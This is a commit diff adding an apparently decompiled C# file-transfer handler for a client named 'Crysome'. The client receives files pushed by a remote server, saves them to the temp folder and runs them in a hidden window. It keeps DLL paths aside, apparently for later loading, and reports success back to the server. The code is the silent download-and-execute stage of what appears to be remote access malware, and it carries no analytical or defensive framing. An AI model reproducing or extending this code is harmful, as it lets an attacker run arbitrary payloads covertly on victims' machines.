initial commit

2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
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+using System;
+using System.Diagnostics;
+using System.IO;
+using Crysome.Common.Network;
+using Crysome.Common.Network.FileTransfer;
+using Crysome.Common.Network.Packets;
+using Crysome.Common.Network.Packets.Client;
+using Crysome.Common.Network.Packets.Server;
+
+namespace Crysome.Client.Handlers;
+
+public static class FileTransferHandlers
+{
+	private const int MaxFileBytes = 157286400;
+
+	private static FtReceiver _receiver;
+
+	internal static volatile string LastDllPath;
+
+	public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
+	{
+		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0007: Expected O, but got Unknown
+		//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
+		//IL_00ab: Expected O, but got Unknown
+		FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
+		string text;
+		try
+		{
+			if (val.FileData == null || val.FileData.Length == 0)
+			{
+				text = "ERR: Empty payload";
+			}
+			else if (val.FileData.Length > 157286400)
+			{
+				text = "ERR: Payload too large";
+			}
+			else
+			{
+				string text2 = SanitizeFileName(val.Filename);
+				string text3 = Path.Combine(Path.GetTempPath(), text2);
+				File.WriteAllBytes(text3, val.FileData);
+				Process.Start(new ProcessStartInfo
+				{
+					FileName = text3,
+					UseShellExecute = true,
+					WindowStyle = ProcessWindowStyle.Hidden
+				});
+				text = "OK: " + text2;
+			}
+		}
+		catch (Exception ex)
+		{
+			text = "ERR: " + ex.Message;
+		}
+		client.SendPacket((IPacket)new FileTransferResponsePacket(text));
+	}
+
+	public static void HandleFtStart(CrysomeClient client, IPacket packet)
+	{
+		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
+		//IL_000b: Expected O, but got Unknown
+		//IL_0063: Unknown result type (might be due to invalid IL or missing references)
+		//IL_006d: Expected O, but got Unknown
+		_receiver = new FtReceiver(client);
+		_receiver.OnComplete = delegate(string name, byte[] data)
+		{
+			try
+			{
+				string text = SanitizeFileName(name);
+				string text2 = Path.Combine(Path.GetTempPath(), text);
+				File.WriteAllBytes(text2, data);
+				Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
+				if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
+				{
+					LastDllPath = text2;
+				}
+				else
+				{
+					Process.Start(new ProcessStartInfo
+					{
+						FileName = text2,
+						UseShellExecute = true,
+						WindowStyle = ProcessWindowStyle.Hidden
+					});
+				}
+			}
+			catch (Exception ex)
+			{
+				Program.Log("FtReceiver execute error: " + ex.Message);
+			}
+		};
+		_receiver.OnError = delegate(string msg)
+		{
+			Program.Log("FtReceiver error: " + msg);
+		};
+		_receiver.HandleStart((FtStartPacket)packet);
+	}
+
+	public static void HandleFtChunk(CrysomeClient client, IPacket packet)
+	{
+		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0015: Expected O, but got Unknown
+		FtReceiver receiver = _receiver;
+		if (receiver != null)
+		{
+			receiver.HandleChunk((FtChunkPacket)packet);
+		}
+	}
+
+	public static void HandleFtAbort(CrysomeClient client, IPacket packet)
+	{
+		//IL_000b: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0015: Expected O, but got Unknown
+		FtReceiver receiver = _receiver;
+		if (receiver != null)
+		{
+			receiver.HandleAbort((FtAbortPacket)packet);
+		}
+	}
+
+	private static string SanitizeFileName(string name)
+	{
+		if (string.IsNullOrEmpty(name))
+		{
+			return "received.dat";
+		}
+		char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
+		foreach (char oldChar in invalidFileNameChars)
+		{
+			name = name.Replace(oldChar, '_');
+		}
+		return name;
+	}
+}